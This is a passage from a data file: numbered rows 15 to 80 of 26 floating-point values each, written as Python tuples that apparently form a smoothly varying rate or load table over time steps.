(16.77870342588394, 16.811832641181958, 14.415123042176313, 15.474326665688082, 12.33101919737797, 6.078593911682158, 6.877830781574663, 6.426857351699818, 6.738656840240891, 3.2826220074663714, 2.3271958012858263, 1.3546874558788757, 0.0, 16.880892169624886, 14.90156201466763, 11.63597900642913, 9.847866022399112, 13.477313680481782, 8.997600292379746, 6.877830781574663, 4.341852794058684, 6.165509598688985, 5.158108888562695, 2.883024608435263, 1.5283484219256327, 0.0), # 15
(17.10533760411564, 17.128139339619217, 14.686333302245139, 15.765522215097217, 12.566735293898798, 6.192978012082533, 7.007166350067579, 6.547562483326471, 6.865435944664972, 3.344345090757899, 2.370996874939354, 1.380171581202741, 0.0, 17.198606600142384, 15.181887393230149, 11.85498437469677, 10.033035272273695, 13.730871889329944, 9.16658747665706, 7.007166350067579, 4.423555722916095, 6.283367646949399, 5.255174071699074, 2.9372666604490276, 1.55710357632902, 0.0), # 16
(17.395078877487137, 17.406380574956913, 14.92490459481353, 16.021673336630855, 12.774899750296605, 6.2935959462960005, 7.12093743875764, 6.653740203345614, 6.976957092989391, 3.398640440791261, 2.40952670348334, 1.4025887918796085, 0.0, 17.47808456018655, 15.428476710675692, 12.047633517416699, 10.195921322373781, 13.953914185978782, 9.31523628468386, 7.12093743875764, 4.4954256759257145, 6.387449875148302, 5.340557778876952, 2.984980918962706, 1.5823982340869922, 0.0), # 17
(17.645595605010367, 17.644177892002652, 15.12879775546482, 16.24059070761953, 12.953782358050306, 6.379587868417579, 7.2181714412095666, 6.744483318896446, 7.072267279485658, 3.4450438531695924, 2.4424559497621527, 1.4217474828457075, 0.0, 17.716937542216822, 15.63922231130278, 12.212279748810763, 10.335131559508774, 14.144534558971316, 9.442276646455024, 7.2181714412095666, 4.556848477441128, 6.476891179025153, 5.413530235873177, 3.0257595510929645, 1.6040161720002415, 0.0), # 18
(17.85455614569726, 17.83915283556408, 15.29597361978237, 16.420085005393776, 13.10165290863884, 6.450093932542269, 7.297895750988055, 6.818884637118185, 7.150413498425267, 3.4830911234960236, 2.4694552766201636, 1.4374560490372645, 0.0, 17.912777038692653, 15.812016539409907, 12.347276383100818, 10.449273370488068, 14.300826996850533, 9.546438491965459, 7.297895750988055, 4.607209951815906, 6.55082645431942, 5.473361668464593, 3.059194723956474, 1.621741166869462, 0.0), # 19
(18.01962885855975, 17.988926950448786, 15.424393023349506, 16.55796690728418, 13.216781193541133, 6.504254292765094, 7.359137761657826, 6.876036965150038, 7.210442744079718, 3.5123180473736824, 2.490195346901745, 1.4495228853905089, 0.0, 18.063214542073485, 15.944751739295596, 12.450976734508725, 10.536954142121044, 14.420885488159437, 9.626451751210054, 7.359137761657826, 4.645895923403639, 6.608390596770566, 5.51932230242806, 3.084878604669901, 1.6353569954953444, 0.0), # 20
(18.13848210260976, 18.09112178146442, 15.51201680174958, 16.652047090621256, 13.297437004236105, 6.541209103181062, 7.400924866783583, 6.915033110131218, 7.251402010720512, 3.532260420405701, 2.5043468234512685, 1.4577563868416692, 0.0, 18.165861544818743, 16.03532025525836, 12.52173411725634, 10.5967812612171, 14.502804021441024, 9.681046354183705, 7.400924866783583, 4.672292216557902, 6.648718502118053, 5.550682363540419, 3.1024033603499164, 1.644647434678584, 0.0), # 21
(18.20878423685924, 18.143358873418588, 15.55680579056593, 16.70013623273558, 13.341890132202689, 6.560098517885186, 7.422284459930039, 6.934965879200936, 7.27233829261915, 3.54245403819521, 2.5115803691131027, 1.4619649483269737, 0.0, 18.218329539387888, 16.08161443159671, 12.557901845565512, 10.627362114585626, 14.5446765852383, 9.70895223088131, 7.422284459930039, 4.6857846556322755, 6.6709450661013445, 5.5667120775785275, 3.111361158113186, 1.649396261219872, 0.0), # 22
(18.23470805401675, 18.14954393004115, 15.562384773662554, 16.706156597222225, 13.353278467239116, 6.5625, 7.424823602033405, 6.937120370370371, 7.274955740740741, 3.543656522633746, 2.512487411148522, 1.4624846364883404, 0.0, 18.225, 16.08733100137174, 12.56243705574261, 10.630969567901236, 14.549911481481482, 9.71196851851852, 7.424823602033405, 4.6875, 6.676639233619558, 5.568718865740743, 3.1124769547325113, 1.6499585390946503, 0.0), # 23
(18.253822343461476, 18.145936111111112, 15.561472222222221, 16.705415625000004, 13.359729136337823, 6.5625, 7.42342843137255, 6.934125, 7.274604999999999, 3.5429177777777783, 2.5123873737373743, 1.462362962962963, 0.0, 18.225, 16.085992592592593, 12.561936868686871, 10.628753333333332, 14.549209999999999, 9.707775, 7.42342843137255, 4.6875, 6.679864568168911, 5.568471875000002, 3.1122944444444447, 1.649630555555556, 0.0), # 24
(18.272533014380844, 18.138824588477366, 15.559670781893006, 16.70394965277778, 13.366037934713404, 6.5625, 7.420679012345679, 6.928240740740742, 7.273912037037037, 3.541463477366256, 2.512189019827909, 1.4621227709190674, 0.0, 18.225, 16.08335048010974, 12.560945099139545, 10.624390432098766, 14.547824074074073, 9.69953703703704, 7.420679012345679, 4.6875, 6.683018967356702, 5.567983217592594, 3.1119341563786014, 1.6489840534979427, 0.0), # 25
(18.290838634286462, 18.128318004115226, 15.557005144032923, 16.70177534722222, 13.372204642105325, 6.5625, 7.416618046477849, 6.919578703703704, 7.27288574074074, 3.539317818930042, 2.511894145155257, 1.4617673525377233, 0.0, 18.225, 16.079440877914955, 12.559470725776283, 10.617953456790124, 14.54577148148148, 9.687410185185186, 7.416618046477849, 4.6875, 6.686102321052663, 5.567258449074075, 3.111401028806585, 1.648028909465021, 0.0), # 26
(18.308737770689945, 18.114524999999997, 15.553500000000001, 16.698909375, 13.378229038253057, 6.5625, 7.411288235294118, 6.908250000000002, 7.271535, 3.5365050000000005, 2.5115045454545455, 1.4613000000000003, 0.0, 18.225, 16.0743, 12.557522727272728, 10.609514999999998, 14.54307, 9.671550000000002, 7.411288235294118, 4.6875, 6.689114519126528, 5.566303125, 3.1107000000000005, 1.646775, 0.0), # 27
(18.3262289911029, 18.097554218106993, 15.549180041152265, 16.695368402777778, 13.384110902896083, 6.5625, 7.404732280319536, 6.894365740740742, 7.269868703703704, 3.533049218106997, 2.5110220164609056, 1.4607240054869688, 0.0, 18.225, 16.067964060356655, 12.555110082304529, 10.599147654320989, 14.539737407407408, 9.652112037037039, 7.404732280319536, 4.6875, 6.6920554514480415, 5.565122800925927, 3.1098360082304533, 1.6452322016460905, 0.0), # 28
(18.34331086303695, 18.077514300411522, 15.54406995884774, 16.69116909722222, 13.389850015773863, 6.5625, 7.396992883079159, 6.8780370370370365, 7.267895740740741, 3.5289746707818943, 2.510448353909465, 1.4600426611796984, 0.0, 18.225, 16.06046927297668, 12.552241769547326, 10.58692401234568, 14.535791481481482, 9.629251851851851, 7.396992883079159, 4.6875, 6.694925007886932, 5.563723032407409, 3.1088139917695483, 1.6434103909465023, 0.0), # 29
(18.359981954003697, 18.054513888888888, 15.538194444444445, 16.686328125000003, 13.395446156625884, 6.5625, 7.388112745098039, 6.859375, 7.265625, 3.5243055555555567, 2.509785353535354, 1.4592592592592593, 0.0, 18.225, 16.05185185185185, 12.548926767676768, 10.572916666666668, 14.53125, 9.603125, 7.388112745098039, 4.6875, 6.697723078312942, 5.562109375000001, 3.107638888888889, 1.6413194444444446, 0.0), # 30
(18.376240831514746, 18.028661625514406, 15.531578189300415, 16.680862152777777, 13.400899105191609, 6.5625, 7.378134567901236, 6.838490740740741, 7.26306537037037, 3.5190660699588485, 2.5090348110737, 1.458377091906722, 0.0, 18.225, 16.04214801097394, 12.5451740553685, 10.557198209876542, 14.52613074074074, 9.573887037037037, 7.378134567901236, 4.6875, 6.7004495525958045, 5.56028738425926, 3.106315637860083, 1.638969238683128, 0.0), # 31
(18.392086063081717, 18.000066152263376, 15.524245884773661, 16.674787847222223, 13.406208641210513, 6.5625, 7.3671010530137995, 6.815495370370372, 7.260225740740741, 3.5132804115226346, 2.5081985222596335, 1.4573994513031552, 0.0, 18.225, 16.031393964334704, 12.540992611298167, 10.539841234567902, 14.520451481481482, 9.541693518518521, 7.3671010530137995, 4.6875, 6.703104320605257, 5.558262615740742, 3.1048491769547324, 1.6363696502057616, 0.0), # 32
(18.407516216216216, 17.96883611111111, 15.516222222222224, 16.668121874999997, 13.411374544422076, 6.5625, 7.355054901960784, 6.790500000000001, 7.257115, 3.506972777777779, 2.507278282828283, 1.4563296296296298, 0.0, 18.225, 16.019625925925926, 12.536391414141413, 10.520918333333334, 14.51423, 9.5067, 7.355054901960784, 4.6875, 6.705687272211038, 5.5560406250000005, 3.103244444444445, 1.6335305555555555, 0.0), # 33
(18.422529858429858, 17.93508014403292, 15.507531893004115, 16.660880902777777, 13.41639659456576, 6.5625, 7.342038816267248, 6.7636157407407405, 7.253742037037037, 3.500167366255145, 2.5062758885147773, 1.4551709190672155, 0.0, 18.225, 16.006880109739367, 12.531379442573886, 10.500502098765432, 14.507484074074075, 9.469062037037038, 7.342038816267248, 4.6875, 6.70819829728288, 5.553626967592593, 3.1015063786008232, 1.6304618312757202, 0.0), # 34
(18.437125557234253, 17.898906893004114, 15.49819958847737, 16.65308159722222, 13.421274571381044, 6.5625, 7.328095497458243, 6.734953703703703, 7.250115740740741, 3.4928883744855974, 2.5051931350542462, 1.4539266117969825, 0.0, 18.225, 15.993192729766804, 12.52596567527123, 10.47866512345679, 14.500231481481482, 9.428935185185185, 7.328095497458243, 4.6875, 6.710637285690522, 5.551027199074074, 3.099639917695474, 1.627173353909465, 0.0), # 35
(18.45130188014101, 17.860424999999996, 15.488249999999999, 16.644740624999997, 13.426008254607403, 6.5625, 7.313267647058823, 6.704625000000001, 7.246244999999999, 3.485160000000001, 2.504031818181818, 1.4526000000000006, 0.0, 18.225, 15.978600000000004, 12.520159090909091, 10.45548, 14.492489999999998, 9.386475, 7.313267647058823, 4.6875, 6.7130041273037016, 5.548246875, 3.0976500000000002, 1.623675, 0.0), # 36
(18.46505739466174, 17.819743106995883, 15.477707818930043, 16.63587465277778, 13.430597423984304, 6.5625, 7.2975979665940445, 6.672740740740741, 7.242138703703703, 3.477006440329219, 2.502793733632623, 1.451194375857339, 0.0, 18.225, 15.963138134430727, 12.513968668163116, 10.431019320987655, 14.484277407407406, 9.341837037037038, 7.2975979665940445, 4.6875, 6.715298711992152, 5.545291550925927, 3.0955415637860084, 1.619976646090535, 0.0), # 37
(18.47839066830806, 17.776969855967078, 15.466597736625513, 16.626500347222226, 13.435041859251228, 6.5625, 7.281129157588961, 6.639412037037038, 7.237805740740741, 3.4684518930041164, 2.5014806771417883, 1.4497130315500688, 0.0, 18.225, 15.946843347050754, 12.507403385708942, 10.405355679012347, 14.475611481481481, 9.295176851851854, 7.281129157588961, 4.6875, 6.717520929625614, 5.542166782407409, 3.0933195473251027, 1.61608816872428, 0.0), # 38
(18.491300268591576, 17.732213888888886, 15.454944444444445, 16.616634375, 13.439341340147644, 6.5625, 7.2639039215686285, 6.60475, 7.233255000000001, 3.4595205555555566, 2.500094444444445, 1.4481592592592594, 0.0, 18.225, 15.92975185185185, 12.500472222222223, 10.378561666666666, 14.466510000000001, 9.24665, 7.2639039215686285, 4.6875, 6.719670670073822, 5.538878125000001, 3.0909888888888895, 1.6120194444444444, 0.0), # 39
(18.503784763023894, 17.685583847736623, 15.442772633744857, 16.60629340277778, 13.443495646413021, 6.5625, 7.245964960058098, 6.568865740740742, 7.228495370370371, 3.4502366255144046, 2.49863683127572, 1.4465363511659812, 0.0, 18.225, 15.911899862825791, 12.4931841563786, 10.350709876543212, 14.456990740740743, 9.196412037037039, 7.245964960058098, 4.6875, 6.721747823206511, 5.535431134259261, 3.0885545267489714, 1.6077803497942387, 0.0), # 40
(18.51584271911663, 17.637188374485596, 15.430106995884776, 16.595494097222222, 13.447504557786843, 6.5625, 7.2273549745824255, 6.531870370370371, 7.22353574074074, 3.4406243004115233, 2.4971096333707448, 1.4448475994513033, 0.0, 18.225, 15.893323593964332, 12.485548166853723, 10.321872901234567, 14.44707148148148, 9.14461851851852, 7.2273549745824255, 4.6875, 6.723752278893421, 5.531831365740742, 3.0860213991769556, 1.6033807613168727, 0.0), # 41
(18.527472704381402, 17.587136111111114, 15.416972222222224, 16.584253125000004, 13.45136785400857, 6.5625, 7.208116666666666, 6.493875, 7.218385000000001, 3.4307077777777786, 2.4955146464646467, 1.4430962962962963, 0.0, 18.225, 15.874059259259258, 12.477573232323234, 10.292123333333333, 14.436770000000003, 9.091425000000001, 7.208116666666666, 4.6875, 6.725683927004285, 5.5280843750000015, 3.083394444444445, 1.598830555555556, 0.0), # 42
(18.538673286329807, 17.53553569958848, 15.403393004115227, 16.57258715277778, 13.455085314817683, 6.5625, 7.188292737835875, 6.454990740740741, 7.213052037037036, 3.420511255144034, 2.4938536662925554, 1.4412857338820306, 0.0, 18.225, 15.854143072702334, 12.469268331462775, 10.2615337654321, 14.426104074074072, 9.036987037037038, 7.188292737835875, 4.6875, 6.727542657408842, 5.524195717592594, 3.080678600823046, 1.5941396090534983, 0.0), # 43
(18.54944303247347, 17.482495781893004, 15.389394032921814, 16.560512847222224, 13.458656719953654, 6.5625, 7.1679258896151055, 6.415328703703706, 7.2075457407407395, 3.4100589300411532, 2.4921284885895996, 1.439419204389575, 0.0, 18.225, 15.833611248285322, 12.460642442947998, 10.230176790123457, 14.415091481481479, 8.981460185185188, 7.1679258896151055, 4.6875, 6.729328359976827, 5.520170949074076, 3.077878806584363, 1.5893177983539097, 0.0), # 44
(18.55978051032399, 17.428124999999998, 15.375, 16.548046875, 13.462081849155954, 6.5625, 7.147058823529412, 6.375000000000001, 7.201874999999999, 3.3993750000000014, 2.4903409090909094, 1.4375000000000002, 0.0, 18.225, 15.8125, 12.451704545454545, 10.198125000000001, 14.403749999999999, 8.925, 7.147058823529412, 4.6875, 6.731040924577977, 5.516015625000001, 3.075, 1.584375, 0.0), # 45
(18.569684287392985, 17.372531995884774, 15.360235596707819, 16.535205902777776, 13.465360482164058, 6.5625, 7.125734241103849, 6.334115740740741, 7.196048703703703, 3.388483662551441, 2.4884927235316128, 1.4355314128943761, 0.0, 18.225, 15.790845541838134, 12.442463617658062, 10.16545098765432, 14.392097407407405, 8.86776203703704, 7.125734241103849, 4.6875, 6.732680241082029, 5.511735300925927, 3.072047119341564, 1.5793210905349795, 0.0), # 46
(18.579152931192063, 17.31582541152263, 15.345125514403293, 16.522006597222223, 13.46849239871744, 6.5625, 7.103994843863473, 6.292787037037037, 7.190075740740742, 3.3774091152263384, 2.486585727646839, 1.4335167352537728, 0.0, 18.225, 15.768684087791497, 12.432928638234193, 10.132227345679013, 14.380151481481484, 8.809901851851851, 7.103994843863473, 4.6875, 6.73424619935872, 5.507335532407408, 3.069025102880659, 1.5741659465020577, 0.0), # 47
(18.588185009232834, 17.258113888888886, 15.329694444444444, 16.508465625, 13.471477378555573, 6.5625, 7.081883333333334, 6.251125000000001, 7.183965000000001, 3.3661755555555564, 2.4846217171717173, 1.4314592592592594, 0.0, 18.225, 15.746051851851853, 12.423108585858586, 10.098526666666666, 14.367930000000001, 8.751575, 7.081883333333334, 4.6875, 6.735738689277786, 5.502821875000001, 3.065938888888889, 1.5689194444444445, 0.0), # 48
(18.596779089026917, 17.199506069958847, 15.313967078189304, 16.49459965277778, 13.47431520141793, 6.5625, 7.059442411038489, 6.209240740740741, 7.17772537037037, 3.35480718106996, 2.4826024878413775, 1.4293622770919072, 0.0, 18.225, 15.722985048010976, 12.413012439206886, 10.064421543209878, 14.35545074074074, 8.692937037037037, 7.059442411038489, 4.6875, 6.737157600708965, 5.498199884259261, 3.0627934156378607, 1.5635914609053498, 0.0), # 49
(18.604933738085908, 17.140110596707824, 15.297968106995889, 16.480425347222223, 13.477005647043978, 6.5625, 7.0367147785039945, 6.16724537037037, 7.1713657407407405, 3.3433281893004123, 2.480529835390947, 1.427229080932785, 0.0, 18.225, 15.699519890260632, 12.402649176954732, 10.029984567901234, 14.342731481481481, 8.634143518518519, 7.0367147785039945, 4.6875, 6.738502823521989, 5.4934751157407415, 3.059593621399178, 1.5581918724279842, 0.0), # 50
(18.61264752392144, 17.080036111111113, 15.281722222222223, 16.465959375, 13.479548495173198, 6.5625, 7.013743137254902, 6.12525, 7.164895000000001, 3.3317627777777785, 2.478405555555556, 1.4250629629629634, 0.0, 18.225, 15.675692592592595, 12.392027777777779, 9.995288333333333, 14.329790000000003, 8.57535, 7.013743137254902, 4.6875, 6.739774247586599, 5.488653125000001, 3.0563444444444445, 1.552730555555556, 0.0), # 51
(18.619919014045102, 17.019391255144033, 15.26525411522634, 16.45121840277778, 13.481943525545056, 6.5625, 6.9905701888162675, 6.08336574074074, 7.158322037037037, 3.320135144032923, 2.4762314440703332, 1.4228672153635122, 0.0, 18.225, 15.651539368998632, 12.381157220351666, 9.960405432098767, 14.316644074074073, 8.516712037037037, 6.9905701888162675, 4.6875, 6.740971762772528, 5.483739467592594, 3.0530508230452678, 1.547217386831276, 0.0), # 52
(18.626746775968517, 16.958284670781893, 15.248588477366258, 16.43621909722222, 13.484190517899034, 6.5625, 6.967238634713145, 6.041703703703704, 7.1516557407407415, 3.3084694855967087, 2.4740092966704084, 1.4206451303155008, 0.0, 18.225, 15.627096433470507, 12.37004648335204, 9.925408456790123, 14.303311481481483, 8.458385185185186, 6.967238634713145, 4.6875, 6.742095258949517, 5.478739699074075, 3.049717695473252, 1.5416622427983542, 0.0), # 53
(18.63312937720329, 16.896825000000003, 15.23175, 16.420978125, 13.486289251974604, 6.5625, 6.943791176470588, 6.000374999999999, 7.144905, 3.296790000000001, 2.4717409090909093, 1.4184000000000003, 0.0, 18.225, 15.602400000000001, 12.358704545454545, 9.89037, 14.28981, 8.400525, 6.943791176470588, 4.6875, 6.743144625987302, 5.473659375000001, 3.04635, 1.5360750000000005, 0.0), # 54
(18.63906538526104, 16.835120884773662, 15.2147633744856, 16.405512152777778, 13.488239507511228, 6.5625, 6.9202705156136535, 5.9594907407407405, 7.1380787037037035, 3.2851208847736637, 2.4694280770669663, 1.4161351165980798, 0.0, 18.225, 15.577486282578874, 12.34714038533483, 9.855362654320988, 14.276157407407407, 8.343287037037037, 6.9202705156136535, 4.6875, 6.744119753755614, 5.468504050925927, 3.04295267489712, 1.530465534979424, 0.0), # 55
(18.64455336765337, 16.77328096707819, 15.197653292181073, 16.389837847222225, 13.49004106424839, 6.5625, 6.896719353667393, 5.9191620370370375, 7.131185740740741, 3.2734863374485608, 2.467072596333708, 1.4138537722908093, 0.0, 18.225, 15.5523914951989, 12.335362981668538, 9.82045901234568, 14.262371481481482, 8.286826851851853, 6.896719353667393, 4.6875, 6.745020532124195, 5.463279282407409, 3.0395306584362145, 1.5248437242798356, 0.0), # 56
(18.649591891891887, 16.711413888888888, 15.180444444444445, 16.373971875, 13.49169370192556, 6.5625, 6.873180392156863, 5.879500000000001, 7.124235, 3.2619105555555565, 2.4646762626262633, 1.4115592592592594, 0.0, 18.225, 15.527151851851851, 12.323381313131314, 9.785731666666667, 14.24847, 8.231300000000001, 6.873180392156863, 4.6875, 6.74584685096278, 5.457990625000001, 3.0360888888888895, 1.5192194444444447, 0.0), # 57
(18.654179525488225, 16.64962829218107, 15.163161522633745, 16.357930902777774, 13.49319720028221, 6.5625, 6.849696332607118, 5.840615740740741, 7.11723537037037, 3.2504177366255154, 2.4622408716797612, 1.4092548696844995, 0.0, 18.225, 15.501803566529492, 12.311204358398806, 9.751253209876543, 14.23447074074074, 8.176862037037038, 6.849696332607118, 4.6875, 6.746598600141105, 5.4526436342592595, 3.032632304526749, 1.5136025720164612, 0.0), # 58
(18.658314835953966, 16.58803281893004, 15.145829218106996, 16.34173159722222, 13.494551339057814, 6.5625, 6.82630987654321, 5.802620370370371, 7.110195740740741, 3.2390320781893016, 2.4597682192293306, 1.4069438957475995, 0.0, 18.225, 15.476382853223592, 12.298841096146651, 9.717096234567903, 14.220391481481482, 8.12366851851852, 6.82630987654321, 4.6875, 6.747275669528907, 5.447243865740742, 3.0291658436213997, 1.5080029835390947, 0.0), # 59
(18.661996390800738, 16.526736111111113, 15.128472222222221, 16.325390625, 13.495755897991843, 6.5625, 6.803063725490196, 5.765625, 7.103125, 3.2277777777777787, 2.4572601010101014, 1.40462962962963, 0.0, 18.225, 15.450925925925928, 12.286300505050505, 9.683333333333334, 14.20625, 8.071875, 6.803063725490196, 4.6875, 6.747877948995922, 5.441796875000001, 3.0256944444444445, 1.502430555555556, 0.0), # 60
(18.665222757540146, 16.465846810699592, 15.111115226337452, 16.308924652777776, 13.496810656823772, 6.5625, 6.780000580973129, 5.729740740740741, 7.0960320370370376, 3.216679032921812, 2.4547183127572016, 1.40231536351166, 0.0, 18.225, 15.425468998628258, 12.273591563786008, 9.650037098765434, 14.192064074074075, 8.021637037037038, 6.780000580973129, 4.6875, 6.748405328411886, 5.436308217592593, 3.0222230452674905, 1.496895164609054, 0.0), # 61
(18.66799250368381, 16.40547355967078, 15.093782921810703, 16.292350347222225, 13.497715395293081, 6.5625, 6.757163144517066, 5.695078703703705, 7.088925740740741, 3.2057600411522644, 2.4521446502057613, 1.4000043895747603, 0.0, 18.225, 15.40004828532236, 12.260723251028807, 9.61728012345679, 14.177851481481483, 7.973110185185186, 6.757163144517066, 4.6875, 6.748857697646541, 5.430783449074076, 3.018756584362141, 1.4914066872427985, 0.0), # 62
(18.670304196743327, 16.345724999999998, 15.0765, 16.275684375, 13.498469893139227, 6.5625, 6.734594117647059, 5.6617500000000005, 7.081815, 3.195045000000001, 2.4495409090909095, 1.3977000000000002, 0.0, 18.225, 15.3747, 12.247704545454548, 9.585135, 14.16363, 7.926450000000001, 6.734594117647059, 4.6875, 6.749234946569613, 5.425228125000001, 3.0153000000000003, 1.485975, 0.0), # 63
(18.672156404230314, 16.286709773662555, 15.059291152263373, 16.258943402777778, 13.499073930101698, 6.5625, 6.712336201888163, 5.629865740740741, 7.0747087037037035, 3.1845581069958855, 2.446908885147774, 1.3954054869684502, 0.0, 18.225, 15.34946035665295, 12.23454442573887, 9.553674320987653, 14.149417407407407, 7.881812037037038, 6.712336201888163, 4.6875, 6.749536965050849, 5.419647800925927, 3.011858230452675, 1.4806099794238687, 0.0), # 64
(18.67354769365639, 16.228536522633743, 15.042181069958849, 16.242144097222223, 13.49952728591996, 6.5625, 6.690432098765433, 5.599537037037037, 7.067615740740742, 3.1743235596707824, 2.4442503741114856, 1.3931241426611796, 0.0, 18.225, 15.324365569272972, 12.221251870557428, 9.522970679012344, 14.135231481481483, 7.839351851851852, 6.690432098765433, 4.6875, 6.74976364295998, 5.4140480324074085, 3.00843621399177, 1.4753215020576131, 0.0), # 65
(18.674476632533153, 16.17131388888889, 15.025194444444447, 16.225303125, 13.499829740333489, 6.5625, 6.668924509803921, 5.570875000000001, 7.060545000000001, 3.1643655555555563, 2.4415671717171716, 1.3908592592592597, 0.0, 18.225, 15.299451851851854, 12.207835858585858, 9.493096666666666, 14.121090000000002, 7.799225000000001, 6.668924509803921, 4.6875, 6.749914870166744, 5.408434375000001, 3.0050388888888895, 1.4701194444444448, 0.0), # 66
(18.674941788372227, 16.11515051440329, 15.00835596707819, 16.208437152777776, 13.499981073081756, 6.5625, 6.647856136528685, 5.543990740740742, 7.05350537037037, 3.154708292181071, 2.438861073699963, 1.3886141289437586, 0.0, 18.225, 15.274755418381341, 12.194305368499816, 9.464124876543211, 14.10701074074074, 7.761587037037039, 6.647856136528685, 4.6875, 6.749990536540878, 5.40281238425926, 3.001671193415638, 1.465013683127572, 0.0), # 67
(18.674624906065485, 16.059860254878533, 14.99160892489712, 16.19141634963768, 13.499853546356814, 6.56237821216278, 6.627163675346682, 5.518757887517148, 7.046452709190673, 3.145329198741226, 2.436085796562113, 1.3863795032849615, 0.0, 18.22477527006173, 15.250174536134574, 12.180428982810565, 9.435987596223676, 14.092905418381346, 7.726261042524007, 6.627163675346682, 4.6874130086877, 6.749926773178407, 5.3971387832125615, 2.998321784979424, 1.4599872958980487, 0.0), # 68
(18.671655072463768, 16.00375510752688, 14.974482638888889, 16.173382744565217, 13.498692810457515, 6.561415432098766, 6.606241363211952, 5.493824074074074, 7.039078703703703, 3.1359628758169937, 2.4329588516746417, 1.3840828460038987, 0.0, 18.222994791666668, 15.224911306042884, 12.164794258373206, 9.407888627450978, 14.078157407407407, 7.6913537037037045, 6.606241363211952, 4.686725308641976, 6.749346405228757, 5.391127581521739, 2.994896527777778, 1.4548868279569895, 0.0), # 69
(18.665794417606012, 15.946577558741536, 14.956902649176953, 16.154217617753623, 13.496399176954732, 6.559519318701418, 6.5849941211052325, 5.468964334705077, 7.031341735253773, 3.1265637860082314, 2.429444665957824, 1.3817134141939216, 0.0, 18.219478202160495, 15.198847556133135, 12.147223329789119, 9.379691358024692, 14.062683470507546, 7.656550068587107, 6.5849941211052325, 4.685370941929584, 6.748199588477366, 5.384739205917875, 2.9913805298353906, 1.4496888689765035, 0.0), # 70
(18.657125389157272, 15.888361778176023, 14.938875128600824, 16.133949230072467, 13.493001694504963, 6.556720598994056, 6.56343149358509, 5.444186899862826, 7.023253326474624, 3.1171321617041885, 2.425556211235159, 1.3792729405819073, 0.0, 18.21427179783951, 15.172002346400978, 12.127781056175793, 9.351396485112563, 14.046506652949247, 7.621861659807958, 6.56343149358509, 4.683371856424325, 6.746500847252482, 5.377983076690823, 2.987775025720165, 1.4443965252887296, 0.0), # 71
(18.64573043478261, 15.82914193548387, 14.92040625, 16.112605842391304, 13.488529411764706, 6.553050000000001, 6.541563025210084, 5.4195, 7.014825, 3.1076682352941183, 2.421306459330144, 1.376763157894737, 0.0, 18.207421875, 15.144394736842104, 12.10653229665072, 9.323004705882353, 14.02965, 7.587300000000001, 6.541563025210084, 4.680750000000001, 6.744264705882353, 5.370868614130436, 2.98408125, 1.4390129032258066, 0.0), # 72
(18.631692002147076, 15.768952200318596, 14.90150218621399, 16.09021571557971, 13.483011377390461, 6.548538248742569, 6.519398260538782, 5.394911865569274, 7.006068278463649, 3.0981722391672726, 2.4167083820662767, 1.374185798859288, 0.0, 18.198974729938275, 15.116043787452165, 12.083541910331384, 9.294516717501814, 14.012136556927299, 7.552876611796983, 6.519398260538782, 4.677527320530407, 6.741505688695231, 5.363405238526571, 2.9803004372427986, 1.4335411091198726, 0.0), # 73
(18.61509253891573, 15.707826742333731, 14.882169110082302, 16.06680711050725, 13.47647664003873, 6.543216072245086, 6.49694674412975, 5.37043072702332, 6.996994684499314, 3.0886444057129037, 2.411774951267057, 1.3715425962024403, 0.0, 18.18897665895062, 15.086968558226841, 12.058874756335285, 9.26593321713871, 13.993989368998628, 7.518603017832648, 6.49694674412975, 4.673725765889347, 6.738238320019365, 5.355602370169083, 2.976433822016461, 1.4279842493030668, 0.0), # 74
(18.59601449275362, 15.645799731182793, 14.862413194444443, 16.04240828804348, 13.468954248366014, 6.537114197530865, 6.47421802054155, 5.346064814814815, 6.98761574074074, 3.0790849673202625, 2.406519138755981, 1.3688352826510723, 0.0, 18.177473958333334, 15.057188109161793, 12.032595693779903, 9.237254901960785, 13.97523148148148, 7.484490740740742, 6.47421802054155, 4.669367283950618, 6.734477124183007, 5.347469429347827, 2.9724826388888888, 1.422345430107527, 0.0), # 75
(18.57454031132582, 15.582905336519316, 14.842240612139918, 16.01704750905797, 13.460473251028805, 6.53026335162323, 6.451221634332746, 5.321822359396434, 6.977942969821673, 3.069494156378602, 2.400953916356548, 1.3660655909320625, 0.0, 18.164512924382716, 15.026721500252684, 12.004769581782737, 9.208482469135802, 13.955885939643347, 7.450551303155008, 6.451221634332746, 4.664473822588021, 6.730236625514403, 5.339015836352658, 2.9684481224279837, 1.4166277578653925, 0.0), # 76
(18.55075244229737, 15.519177727996816, 14.821657536008228, 15.99075303442029, 13.451062696683609, 6.522694261545496, 6.4279671300619015, 5.2977115912208514, 6.967987894375857, 3.059872205277174, 2.3950922558922563, 1.3632352537722912, 0.0, 18.150139853395064, 14.9955877914952, 11.975461279461282, 9.179616615831518, 13.935975788751714, 7.416796227709193, 6.4279671300619015, 4.659067329675354, 6.725531348341804, 5.330251011473431, 2.964331507201646, 1.4108343389088016, 0.0), # 77
(18.524733333333334, 15.45465107526882, 14.80067013888889, 15.963553124999999, 13.440751633986928, 6.514437654320987, 6.404464052287582, 5.273740740740742, 6.957762037037036, 3.0502193464052296, 2.388947129186603, 1.3603460038986357, 0.0, 18.134401041666667, 14.963806042884991, 11.944735645933015, 9.150658039215687, 13.915524074074073, 7.383237037037039, 6.404464052287582, 4.653169753086419, 6.720375816993464, 5.3211843750000005, 2.960134027777778, 1.404968279569893, 0.0), # 78
(18.496565432098766, 15.389359547988851, 14.779284593621398, 15.935476041666668, 13.429569111595256, 6.505524256973022, 6.380721945568351, 5.249918038408779, 6.947276920438957, 3.0405358121520223, 2.382531508063087, 1.3573995740379758, 0.0, 18.117342785493825, 14.931395314417731, 11.912657540315433, 9.121607436456063, 13.894553840877913, 7.349885253772292, 6.380721945568351, 4.646803040695016, 6.714784555797628, 5.311825347222223, 2.95585691872428, 1.399032686180805, 0.0), # 79
(18.466331186258724, 15.323337315810434, 14.757507073045266, 15.906550045289855, 13.417544178165095, 6.49598479652492, 6.356750354462773, 5.226251714677641, 6.9365440672153635, 3.030821834906803, 2.375858364345207, 1.3543976969171905, 0.0, 18.09901138117284, 14.898374666089092, 11.879291821726033, 9.092465504720405, 13.873088134430727, 7.316752400548698, 6.356750354462773, 4.639989140374943, 6.708772089082547, 5.302183348429953, 2.9515014146090537, 1.3930306650736761, 0.0), # 80
